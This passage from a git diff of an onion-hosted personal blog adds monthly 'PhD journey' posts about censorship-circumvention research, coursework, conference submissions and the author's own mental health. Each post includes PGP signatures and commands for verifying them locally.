    +BoR8CKJkqyabxseM6fdVFIzGSZ3Bo6PYyDHArExjQ97FgS6nEHdklwF3bRuO8gkP
    +eRLhedsKWd5LvLa347dusMOKbAHcQQQavQb2uyN/ZlcAz2y8MyfbdmnLNq0CjFMd
    +MGug0h1+d4omYSw7aXlpHMfOWCbiAs5BEgDvV9vd+p/PXbH765VzTnuzeMmIlRlm
    +eloSCjex5kxiUvQ3G14usmAbON799etujTIJh5Mj9ol9jXDyh0/k228GC4RNF5K5
    +QEMPVoeGkte0CVM+C/PkK+QcGHxdasuZQEVTbCuN2qS6WxiFIpglsmagcoblO2+t
    +zvDnk6ySTPrtiGlVqAZye1Pjhs7Xy3dq8VT+H2TUhZplgRpDXPlayUzPkZGvEcUr
    +Mg03w3/uXCP8Q0ibQllSQioluUJ7l+oLaRZTly1tpZCCbWha11upK8ZKc03jMApM
    +fQy/wpq+VFKZsB4clVAQoabPr+Q+JWAe0OOWcdrpp8FXlKfIkPc=
    +=hIg9
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/PhD_journey/june_2026.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/PhD_journey/june_2026.md.asc
    +gpg --verify june_2026.md.asc june_2026.md
    +  
    +
    + + +]]>
    +
    + + April '26 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/phd_journey/april_2026/ + Sun, 03 May 2026 03:26:09 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/phd_journey/april_2026/ + <p>I know, I know. I&rsquo;ve been lacking updates. I&rsquo;m so so sorry. I will try to summerize what I&rsquo;ve been up tp in the past few months.</p> +<p>Up until the middle of March, I&rsquo;ve been taking care of the last bits of coursework I had to do during my prep phase. And now I&rsquo;m done with that all together.</p> +<p>I took ML in cysec which was very much aligned to the type of research I do. They try to get around IDS, and I try to get around censorship setup which is pretty much the same idea. I learned so so incredibly much from the course. It was awesome! I then had a block seminar called Routerlab in which I just did very well. It was fun in the sense that we got to touch and use real hardware. We also did so much that I didn&rsquo;t know much about. Though no mail server for me unfortunately.</p> + I know, I know. I’ve been lacking updates. I’m so so sorry. I will try to summerize what I’ve been up tp in the past few months.

    +

    Up until the middle of March, I’ve been taking care of the last bits of coursework I had to do during my prep phase. And now I’m done with that all together.

    +

    I took ML in cysec which was very much aligned to the type of research I do. They try to get around IDS, and I try to get around censorship setup which is pretty much the same idea. I learned so so incredibly much from the course. It was awesome! I then had a block seminar called Routerlab in which I just did very well. It was fun in the sense that we got to touch and use real hardware. We also did so much that I didn’t know much about. Though no mail server for me unfortunately.

    +

    I was then approached by a colleague who’s research needed a bit of push to get to the IMC deadline, and we pushed “HARD”. We submitted the paper with so much chaos I would say. But we did it.

    +

    Now I wonder, both my research projects that I’ve been working on feel like there are more advanced than what we submitted, then we am I not drafting papers for them?! I will talk to my advisor about this. :)

    +

    I also kinda started a new project, or at least we have floated the idea of, which sounds exciting. I would be working with one of my favorite group members. A true nerd! :)

    +

    I will try to be more consistant throughout May by providing updates. Please cross your fingers for me! :D

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbt4ACgkQtYgoUOBM
    +jSo5RA/6AuVU66S+Io6igMjGYrllC4bO4bWusSWwCUdbnqe7j1cewMBJwciI1O9y
    +fCQGlzP//JW3MKhAfI6uJRKNlTCIpDjMmRiivu7nmZRJKCsomOmdmThNwddaJIQ/
    +vnaalb9NgZB7xp6WtU/FUUuXEls6S8l0A+RNCQvo33+U+JiH5YbFUbXQkbjggTcP
    +GGrA8JYXBQvIdHN6xAvGbLhuYnyc9KNayUOdp3FK6ecMzIhT1pZ/O/pE2J+kKRif
    +vQyuWINpZZWxSV8+UMSmuwqBDvdVthWGezxS3/Kr3V/Y3OPJkfsv121hQkoyGhmM
    +1CXfwtD6I9aUHiuQfC5PW/zKYyujhoQ8RDPjK6IQ5jcjSeAE16h0O9MYFtbbrJqq
    +AhP8p+XIL9J0xuwLqsN1wHhnd1COo/fpa0q8P5YsFi+F+sQmIX1waNiM2Bc69ZBh
    +S+DcTUF4MsSSWFFfrts7BuXZQDFWqfEavqvSPQ3BRl/6QHZXmWtKGMb6o+GZSxRI
    +hTTy7SSjCVR5TwCIcTExOe6NxbSJhR/7RwPwbvfoLS3Tji7WmDOD6qeFZY9G8Tyw
    +vr9LIXqyrjKcltjpj6UEtjy3+sXYPxw2XL0bdjlzdgg4afI7gJ9+b2QjHKYYYy8H
    +DjdPpaWlQvkGOBkfM+11Cwn5Q7U5+VdY+Qil0Qc/g2Ksl77/nvQ=
    +=Wtha
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/PhD_journey/April_2026.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/PhD_journey/April_2026.md.asc
    +gpg --verify April_2026.md.asc April_2026.md
    +  
    +
    + + +]]>
    +
    + + November '25 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/phd_journey/november_2025/ + Sun, 30 Nov 2025 07:53:40 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/phd_journey/november_2025/ + <h1 id="4th">4th</h1> +<p>Again, let&rsquo;s setup some goals for the month.</p> +<ul> +<li>Literature review</li> +<li>Keeping up with my coursework</li> +<li>Working on my codebase</li> +<li>Getting healthier diet and excercise-wise</li> +</ul> +<h1 id="30th">30th</h1> +<p>I did a bit of literature review, it&rsquo;s still lacking unfortunately.</p> +<p>Coursework is ok-ish. I&rsquo;ve been trying to work on assignements and understand them.</p> +<p>I rewrote the whole codebase, now we have a modularized design that should be easier to add to.</p> +<p>I&rsquo;ve been eating more and more healthy, excercise is still lacking. I&rsquo;ll get to that later.</p> + 4th +

    Again, let’s setup some goals for the month.

    +
      +
    • Literature review
    • +
    • Keeping up with my coursework
    • +
    • Working on my codebase
    • +
    • Getting healthier diet and excercise-wise
    • +
    +

    30th

    +

    I did a bit of literature review, it’s still lacking unfortunately.

    +

    Coursework is ok-ish. I’ve been trying to work on assignements and understand them.

    +

    I rewrote the whole codebase, now we have a modularized design that should be easier to add to.

    +

    I’ve been eating more and more healthy, excercise is still lacking. I’ll get to that later.

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbt0ACgkQtYgoUOBM
    +jSp+yw/9Fr8915ynwUw1iwRRONv5U0/JIYcvwbBZhGA4ylatwUpcqkvm3dRWZkcp
    +HpxKAL8RPCyAZuqtMZel63BpjhWPfImHUA7/4h7CbGN//zJNLaKlL+93WUlDzrbB
    +A2D1JZvMl6dPC65IXzRMMPnaL1lM6Ka7dNMN2KyT/L3VUsp6uxXk8Dxueu+kpPgk
    ++w1DkW+BryX2efPfc7kG3kI7C0ui4LxoHwphfMulqnVlHlrG67+nqQXzMG0MGbHu
    +j3kjROJAv65K+g7uxWgwYYorxX5yoC2dZZAYt226V8nIw4KPksyzqGv22d2h7AzP
    +CzxTYpLlhLW+2yb9TKlg8uVi0QCg+akbaEbU2k6RC7+oFA14/1teE6MgCXwCx3Nz
    +mP7SndZoR+fP7uignlO4v0UdmiFsbUQNRap/TnebCkz/PUX2xMIXPOZWyzKSvpgb
    +CIRPuOyWo13SrZxPEArrLOA3tGERPqp+oRiKN8gX37ph2dQzeg8o5WR/2vz2Cc64
    +P9zEum8wZdV6dKaqkkAaGjWvDrkTLiobXvjwvP4tfH8TM/B4BYm0RmKRK1vJGsUm
    +Hu4ukK7mGkQWYoL3mCBnlsaT9zoJJmuHxyUBj3iHj7y6t2eu7oQQLBgS9M1F0El8
    +1ZmGjhVLJAB9bQyxAMwOBd6EBUC+Y/sFcTSViytTtFUn+NA1MUo=
    +=F8i0
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/PhD_journey/November_2025.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/PhD_journey/November_2025.md.asc
    +gpg --verify November_2025.md.asc November_2025.md
    +  
    +
    + + +]]>
    +
    + + October '25 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/phd_journey/october_2025/ + Fri, 31 Oct 2025 08:40:43 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/phd_journey/october_2025/ + <h1 id="1st">1st</h1> +<p>Ok, let&rsquo;s start the month by declareing some goals and agendas.</p> +<p>What do I want to do this month?</p> +<ul> +<li>Finish previous semester.</li> +<li>Pick the last of the course work for my prep phase.</li> +<li>Finalize the CoNEXT student workshop paper.</li> +<li>Finish my second RIL.</li> +<li>Start my 3rd and last RIL.</li> +<li>Learn more Go to become more comfortable with it, but how do I set this as a measureable goal?</li> +<li>More literature review, persumabely all of FOCI related papers this month.</li> +<li>Work on my codebase: +<ol> +<li>Do code cleaning</li> +<li>Add comments for code</li> +<li>Start working on ICMP stuff</li> +</ol> +</li> +<li>More socializing! :-)</li> +<li>A fun pet project? Maybe with Go? Maybe with 3d printer? Idk.</li> +<li>Enhance your routines and add exercise to it please!</li> +</ul> +<p>Alright. Now that the goals are set, let&rsquo;s start the month strong! +My last exam for pervious semester will be on October 7th. +I have done 74 ECTS, another 6 will be my last RIL. +If they give me Router Lab, 4 of it would count as ungraded along with an advance course such as either NN, ML sec or EML I would be done with the requirements for my prep phase. +I then just need to do my QE for which I should submit my first paper for which I&rsquo;m doing work!</p> + 1st +

    Ok, let’s start the month by declareing some goals and agendas.

    +

    What do I want to do this month?

    +
      +
    • Finish previous semester.
    • +
    • Pick the last of the course work for my prep phase.
    • +
    • Finalize the CoNEXT student workshop paper.
    • +
    • Finish my second RIL.
    • +
    • Start my 3rd and last RIL.
    • +
    • Learn more Go to become more comfortable with it, but how do I set this as a measureable goal?
    • +
    • More literature review, persumabely all of FOCI related papers this month.
    • +
    • Work on my codebase: +
        +
      1. Do code cleaning
      2. +
      3. Add comments for code
      4. +
      5. Start working on ICMP stuff
      6. +
      +
    • +
    • More socializing! :-)
    • +
    • A fun pet project? Maybe with Go? Maybe with 3d printer? Idk.
    • +
    • Enhance your routines and add exercise to it please!
    • +
    +

    Alright. Now that the goals are set, let’s start the month strong! +My last exam for pervious semester will be on October 7th. +I have done 74 ECTS, another 6 will be my last RIL. +If they give me Router Lab, 4 of it would count as ungraded along with an advance course such as either NN, ML sec or EML I would be done with the requirements for my prep phase. +I then just need to do my QE for which I should submit my first paper for which I’m doing work!

    +

    I have started to take SSRIs again. +I used to take them before I came to Germany to start my PhD, but after coming here things were going really well for many months, and I wanted to cut the medication. +I was taking more than just SSRIs actually, and my psychiatrist agreed to cut all other three medications but advised me to keep taking my SSRI. +After being all happy and things working very well, we started to cut the last piece of the puzzle. +We agreed to reduce the dosage by 0.25% of the max and wait for one month. +Things were going really well for the first two and a half month, and then it happened. +The catastrophe that put me in my worst mental and physicall position happened to me. +It’s not something I want to talk about in my blog, well at least for now, but I’ve tried to talk about it with my closest friends. +It’s so sad that things happened the way they did. +I never really fully recovered. +But… time has passed. +Almost 8 months now. +I should not have continued to cut my medication, but I did. +I damaged myself badly by being stubborn. +My brother who knew everything insisted that I should continue the usage, but I didn’t listen. +My parents didn’t know anything, but could see thier happy son turning into the saddest, most depressed thing of all time. +I was scared of my own shadow for more than one month. +I eventually started to go out, but seeing some certain people made me uncomfortable. +This is another thing I haven’t been able to figure out. +In the end, I just endured pain, a lot of pain. +I’m glad I didn’t break, but I do think most people would’ve. +To deal with this pain, I decided to take many courses. +Cure pain with more pain. +What a fool I was. +I just tore myself up mentally and added much more unneeded stress.

    +

    Did I mention I didn’t show up in office for 6 weeks? +And that when I came back I was hit again with things I didn’t understand? +Sometimes in life shit happens, but this was a whole new level. +I don’t know how much of this I want to talk about publicly, but I do want to just say that I was hurt really badly. +I’ve been trying to just lay low, stick to myself, and stay the hell out of trouble.

    +

    3rd

    +

    Today is the German unity day, and we have a long weekend ahead! +Other than that, last night was one of the most fantabolous days of my life. +I’m feeling more content and secure. +I’m feeling true happiness. +I don’t know how much the SSRI is affecting me, but I know one thing for sure. +I’m just like I used to be 9 months ago. +Just as jolly, positive, and feeling like I’m on top of the world. +Thinking about it a bit more, I do think I’m being a bit less passionate about my work. +What could be the reason? Different priorities? Nah. I really love my research and care about it. +I think it’s just that there is no pressure on me, and no deadline. +I will try to set small deadlines for myself and force myself to be more productive. +Oh, and the SSRI adverse effects are visible! Yeah… But it’s going to be alright, I’m sure of it. +I have an exam I need to prepare for on 7th, but I’ve been procrastinating. I should plan my days and stick to it. Hell yes.

    +

    5th

    +

    My student workshop paper to CoNEXT ‘25 was rejected. +It got one weak accept and one weak reject, with both reviewers claiming to have somewhat familiarity with the topic.

    +

    First review (wa) provided two suggestions for improving the work. +However, as this was a workshop paper, the goal was to talk about the research in the presentation and afterwards fine-tune details.

    +

    Second review (wr) asked for more details. +In the end they suggested only focusing on one approach and it’s evaluation. +This kinda defeated the purpose of what I was trying to do, to provide “tools”.

    +

    Another thing they mentioned was how ML-based traffic analysis can be used to detect evasion. +This is indeed something I like to work on and look at in the near future.

    +

    7th

    +

    Stressful day. +I had my last exam, the exam for Interactive systems that I did not attend the main exam for. +I tried to study over the weekend, but some weird things happened throughout the weekend, making my very distracted mind even more distracted. +I don’t know how I did, but I’m glad I did the exam. +Hopefully I did alright, although I kinda do know some of the mistakes I’ve made, which is a really bad sign… +I hope I won’t have to take another extra course in the next semesters, that would just be annoying. +I really do hope so.

    +

    8th

    +

    I’m back at work, still very distracted with life. +I do need to do literature review, expand my framework, and focus on my work. +It’s a Wednesday unfortunately, meaning I have my German class until 9:30, which today it lasted until 9:45, and then we have cookies at 14:00. +I hope I can get myself together and start being productive again.

    +

    9th

    +

    I will be doing literature review today. +Yesteday I didn’t manage to get myself together. Drat. +There will be a nice social event later today too. +I can rest and socialize with my group’s amazing people! +It’ll be fun! :)

    +

    Another fun thing is that I will get my very own physical GFW box today. +It’s probably the most majestic thing that could’ve happened? +The reason for it is that a month ago there was a leak for GFW. +Lucky us I guess.

    +

    13th

    +

    Last week was again not a productive week. +I will start to plan my days from now on. +The important things are literature review, working on the code base, and looking at the box a bit. +Unfortunately the new semester also starts from today. +I’ll be having one, at most two courses.

    +

    17th

    +

    Another unproductive week. +I think this was the worst one actually. +I can’t focus on reading the papers, I get distracted easily or lose interest. +Tobias suggested USENIX’s 3-slide slide deck to enhance my focus, I’ll give it a try.

    +

    I also need to address the elephant in the room, and start working on the codebase.

    +

    I also need to look at the GFW files more, and try to find useful stuff there.

    +

    But first I need to work on HTDN’s papers, and craft the slides. That is the highest priority on my list. I’ll do it.

    +
    +

    31st

    +

    It went by. +It went by quickly. +I wasn’t able to pick myself up this month, but I won’t let it happen in the following. +I want to be truthful, so I won’t hide anything. +the only thing is I should’ve let myself grief a bit, and I did. I’m proud of it. It’s fine. +For next month, I will start strong, try to get myself together, and pick myself up. I will make progress. +I promise.

    +

    Also I think there is no point in me ranting everyday or every once in a while in my PhD journey posts? Maybe it’s not a bad thing. The problem is I don’t have much to present, and that’s why this is the content. Idk if I change the structure or not, but for now it is what it is.

    +

    Ok, let’s set some goals for next month in advance, then we can see how good we did.

    +
      +
    • I want to work on ICMP stuff and make it work nicely.
    • +
    • I want to do more literature review, maybe read all 2025 and 2024 censorship papers. Cross your fingers for this.
    • +
    • I need to keep up with my courses, including the German class.
    • +
    • I might work more on the GFW leaked data, but I think it’s not a priority for me for now. So… scrap this last one.
    • +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbtwACgkQtYgoUOBM
    +jSryHhAAvH+XWK2675p6vFyzP9ZVDmyh1klyhNM/rLiErk5GfmnwNmKQIFxoMei9
    +2UuypSgH7l7mG9Ga+1Ph9W5YhA0qMMbA5LVWMyqlRfvVF9hoY4On21YRBieXqwsx
    +G4jS7A4PxYZbRt8+lVuyphe+KMRiwOMfPuWoIse2hfpfhs64h+cmZVPen5zsWHD5
    +2jAV888Y5oqGc9uISf380zBqEn3jIJOxiWCi+4vS6p87h0x8E2tVqCUNQEGgiriu
    +NLBkMOkuXAlQZnnv379jX4wh7N79bVjDoH3IHRQx+W8FqEGzu11D3VxO85+Q5/EY
    +n0FvOI4EXtWAHKjsHFcEX/MfXESy5zwNgIWW7+8OYnIv1CRPLPz/hHoZxklkflyZ
    +yqNdg8o+aRHsqbDVQxIKQXH5xUEcDH+9A7bRxmCmgksML01dPnrcw4ioYzu+t0em
    +4DRVp1HWJP/P7Sv2QrR6KgLS3DINRzC7ZkzV7Yeg40eQcb7BadEAZZ9aEjjDJtR0
    +B/n18yUje9BWNFc7nYKkmBYO4UU4L5O1lJWQZhgLrfWxZziJSRs2WTD+tKsbY+5/
    +YSEmToD9nAFioRSpWIV9/uYlsJYfGFtCCgNb/JD2uE+bROitVdZ6auE5AXmef1aN
    +t1QRAQvtpctfFlmwkDdb0BLFS5GSbRr55mkLg1yGS2o4zsC6FQ8=
    +=NvQ7
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/PhD_journey/October_2025.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/PhD_journey/October_2025.md.asc
    +gpg --verify October_2025.md.asc October_2025.md
    +  
    +
    + + +]]>
    +
    + + September '25 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/phd_journey/september_2025/ + Tue, 30 Sep 2025 09:48:21 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/phd_journey/september_2025/ + <p>I started the month by finalizing my draft for Conext Student workshop. +Let&rsquo;s cross our fingers and hope things work out and that it gets accepted. +Notification should arrive on 25th, and I&rsquo;d have until 30th to do the camera ready stuff which should be plenty of time.</p> +<p>I did a vacation from 6th until 15th for a total of 10 days by taking 6 days off. +I visited my parents after 13 months(!), and also my brother after more than two years. +We had so much fun! +I did a bunch of sight-seeing in Istanbul, tried out yummy foods and sweets, many different fishes, and snorkled in Antalya. +What a delightful trip it was. +I do have to get used to this as this is the sole way I will most probably see my parents from now on, unless they want to travel to somewhere else or visit me here. +Now that my brother also has his greencard, we can travel together and see eachother more often too!</p> + I started the month by finalizing my draft for Conext Student workshop. +Let’s cross our fingers and hope things work out and that it gets accepted. +Notification should arrive on 25th, and I’d have until 30th to do the camera ready stuff which should be plenty of time.

    +

    I did a vacation from 6th until 15th for a total of 10 days by taking 6 days off. +I visited my parents after 13 months(!), and also my brother after more than two years. +We had so much fun! +I did a bunch of sight-seeing in Istanbul, tried out yummy foods and sweets, many different fishes, and snorkled in Antalya. +What a delightful trip it was. +I do have to get used to this as this is the sole way I will most probably see my parents from now on, unless they want to travel to somewhere else or visit me here. +Now that my brother also has his greencard, we can travel together and see eachother more often too!

    +

    Surprise surprize, the notification did not come and it’s the last day of the month. +Ever since I came back from vacation I tried to catch up with everything, did my ML re-exam, and setup all different cool things I talked about in my blog. +I’ve been waiting for the notification to get started with the camera-ready process to make sure I have enough time to study for my next and last exam on 7th of October… +Drat!

    +

    I will probably do more literature review this last day of the month, and start working on the code base from next month. +I should do a lot more literature review to be caught up with whatever that’s been done so far.

    +

    My social life has been much more exciting too. +I’ve been socializing a lot more and have made many new friends. +Some other exciting things have also been hapening that I don’t have the courage to write about now. ;) +Buuuuuut… I will probably write about them at some point if things go the way I hope theuy would. +Just remember Wed 24th of September 2025 and Sunday 28th of same month and year. :)

    +

    And with that, that’s my September in a nutshell. +I will probably start writing through the month and then turn the draft into a post from now on. +That way it would look like a story!

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbt4ACgkQtYgoUOBM
    +jSqrxg//VPgfKmG//gebN1gP5nOOmM4y1eoDvolP+Np/gpwm2Y2viYAv+njdwQag
    +w8UdLk1WKyc5EuKcuDXFaHK36VKk0Jr8jwRnPB98huKrYBmESj02HB19FgjIhYmk
    +IWNqEpIMeYVnWvZOKTGsvpdrAHc/694syjnQ9ZYQWFGOe+QGYpGsYEhei8tbjv7y
    +3giN/X4Vz8oowHlF0XCiBm+E2UxtcwgpFxaBN6tTb2AyzqMtt86zAfwvvPI/mJjl
    +MycRwHso3tVLt56ga28J88FdMdAfw2T60oCBBy3absRZUIGDOGYNWgUIIB+0JzZG
    +1wVD6Et5dP52WHcNwfSjBFWCCZossgYs6u6yUeOCHp3eHsq+nEpRj0IGsHBZUn4t
    +xxwF+HzHtVd9JWZHcfhLnh16PRT+drJlrCpHob2MzcrrBapVdWomjAidDu2PwyNm
    +9adYEohRZeM09EY16M6D+0JJDaQcHkL4TbTr/S1xbZ+K/5L+tLI9Mg0XoX0ZdG0B
    +BkUH9NMBSgM92lT2HLk1Hibi31K06KiCYBxAUSu+ELzLA0cik55TfEQNuiUDEpbz
    +yQBanuKAf70wk9BTg8HvKaUATI4OZBVDKFOoLBM6bLkx11MLiq4PkD9dNhsb2hwv
    +nFHvCVZqq2c2t7wTkMop7TdIxwZnl/sh6FaLYFLtmJpU+DyWles=
    +=ranU
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/PhD_journey/September_2025.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/PhD_journey/September_2025.md.asc
    +gpg --verify September_2025.md.asc September_2025.md
    +  
    +
    + + +]]>
    +
    + + Augest '25 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/phd_journey/augest_2025/ + Sun, 31 Aug 2025 07:49:24 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/phd_journey/augest_2025/ + <p>This month started with me setting up a deadline for Conext student workshop. +I wanted to submit something not only to get the chance to attend a nice conference, but to create a network, meet researchers, and to get a chance to present my work and get feedback on it. +I also worked on my code-base, finally making everything work by replacing Jool with clatd for performing CxLAT. +This darn thing wasted so much of my time! +I did learn a bit along the way, but oh well. +Such is life!</p> + This month started with me setting up a deadline for Conext student workshop. +I wanted to submit something not only to get the chance to attend a nice conference, but to create a network, meet researchers, and to get a chance to present my work and get feedback on it. +I also worked on my code-base, finally making everything work by replacing Jool with clatd for performing CxLAT. +This darn thing wasted so much of my time! +I did learn a bit along the way, but oh well. +Such is life!

    +

    Overall not the most productive month, but one reason for it is that I have’t really had a real vacation in a long time. +I will be taking a 10 day vacation next month just to reset, and gain back my power. +I cross my fingers for the month ahead!

    +

    My social life has been becoming better too. +I’ve been trying to attend more ZiS events to meet people, make new connections, and to have fun! +My depression is a serious issue. +I also have anxiety disorder that I’m talking with my therapist about. +I will most likely start taking SSRIs once again. +Idiot me was cutting it when the catasrophe in February happened and did not think twice to keep taking them. +I’m really glad I was able to recover, though it was not easy at all, it did work out.

    +

    I do think there is bright nice future ahead of me; I just need to keep on trucking and not worry too much. +Things will workout!

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbt0ACgkQtYgoUOBM
    +jSqiRBAAv6TLJK+7ycaudx3U1GGOdsihVMLEG/AXcj9fJFIWKouz0AXU3xEJl8Ks
    +lyF1tiik69ZuDqToAj9buwiIG+fll/nLElWP+DVSpDrHh86tEtQFlf9inf8DYXGK
    +3GUhTLyAleNRxSNVe7ZG7SpIN9gk/WYRxbhHQAIVPSWKH+IMTNJuWUtIBXbSEy1K
    +SYcl4coVXJwDOPLj+huKrBQoScmUSPYow5KELzQOOLK+HG6M9vXSq3+hDUiWx4MT
    +OaEFEU47rit9lEsUzjKNh56WthwBf3sWdLPgCxFfZY6L8Pk7GmOJC/XPB/31RBX1
    +VFNy+IqbYPUlafphpT9SuhyLktqKNL9BnK9700dz6w3xI46B8v8d8kmVyoGhzTyi
    +rEt3baTm874Jo4PSZjToL7+6VpbvlzFz57G/1WmmX1jSr++L7Cncyz2Oo6H+Bpw9
    +Ax2JFZz760sxs978Y2fno5o5rkVKEt+GgLA+WkSb0NCq/r67wEhMR5/i4oBTOHmC
    +OWbsxUDTTE7JhPn95LUUb7oji2IxMdLC6RlPPNb+VYlhFbju0IhhArZYqc4vuieC
    +5CQIbWuYoPIpvf0XCQHHABJF+zzq6AzJhnIbgGg58sZ/yrYFM8cI6GVxsOy92ADT
    +eCzo4ktTpt4YHhw/Fj/eRzzvJzRrtP3+AtIvQjDwKigco7f3wgY=
    +=vvS6
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/PhD_journey/Augest_2025.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/PhD_journey/Augest_2025.md.asc
    +gpg --verify Augest_2025.md.asc Augest_2025.md
    +  
    +
    + + +]]>
    +
    +
    +
    diff --git a/public-onion/phd_journey/june_2026/index.html b/public-onion/phd_journey/june_2026/index.html new file mode 100644 index 0000000..57d3be0 --- /dev/null +++ b/public-onion/phd_journey/june_2026/index.html @@ -0,0 +1,576 @@ + + + + + + + +June 2026 | AlipourIm journeys + + + + + + + + + + + + + + + + + + + + + + +
    + +
    +
    + +
    +
    + +

    + June 2026 +

    + +
    +

    Ok, it’s been so so so long! I haven’t been writing, once again, because I’ve been too busy with fixing my life. +Let me summerize these past many months:

    +
      +
    • I finished my coursework for my prep phase
    • +
    • I was added to a colleagues project and we submited it to IMC
    • +
    • I submitted a poster to TMA, and I will be present it at the end of this month (June)
    • +
    • I branched my main project, IP over anything, into application layer, added steganography to it, and made it ready to be submited to S&P, but due to some complications, we decided to skip this deadline and aim for USENIX at the end of Augsust.
    • +
    • I am a tutor at data networks, and I think I’m doing a pretty good job :) at least I hope so! I realized how much I love teaching, and interacting and explaining things to students.
    • +
    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbt4ACgkQtYgoUOBM
    +jSoC1Q//XZwEZ0kzJq6JgjAfq1YJSLYWHAgNE8lHsvw2JW+kwn4wPw3Zysg+a7ln
    +R13un1k4hCKw2k2x/2hyciMcl9V2faPbqkL2c2A6urZPVGFfhSxWc4y2OdXaXdle
    +m/P+jyj1Yl8QOWlWOhJ7nhKEkZfRkkgNp56bQL+IYa3T1xKdCkiiPEsXAGQKfKrw
    +BoR8CKJkqyabxseM6fdVFIzGSZ3Bo6PYyDHArExjQ97FgS6nEHdklwF3bRuO8gkP
    +eRLhedsKWd5LvLa347dusMOKbAHcQQQavQb2uyN/ZlcAz2y8MyfbdmnLNq0CjFMd
    +MGug0h1+d4omYSw7aXlpHMfOWCbiAs5BEgDvV9vd+p/PXbH765VzTnuzeMmIlRlm
    +eloSCjex5kxiUvQ3G14usmAbON799etujTIJh5Mj9ol9jXDyh0/k228GC4RNF5K5
    +QEMPVoeGkte0CVM+C/PkK+QcGHxdasuZQEVTbCuN2qS6WxiFIpglsmagcoblO2+t
    +zvDnk6ySTPrtiGlVqAZye1Pjhs7Xy3dq8VT+H2TUhZplgRpDXPlayUzPkZGvEcUr
    +Mg03w3/uXCP8Q0ibQllSQioluUJ7l+oLaRZTly1tpZCCbWha11upK8ZKc03jMApM
    +fQy/wpq+VFKZsB4clVAQoabPr+Q+JWAe0OOWcdrpp8FXlKfIkPc=
    +=hIg9
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/PhD_journey/june_2026.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/PhD_journey/june_2026.md.asc
    +gpg --verify june_2026.md.asc june_2026.md
    +  
    +
    + + + + +
    + +
    + + + Open on GitHub ↗ +
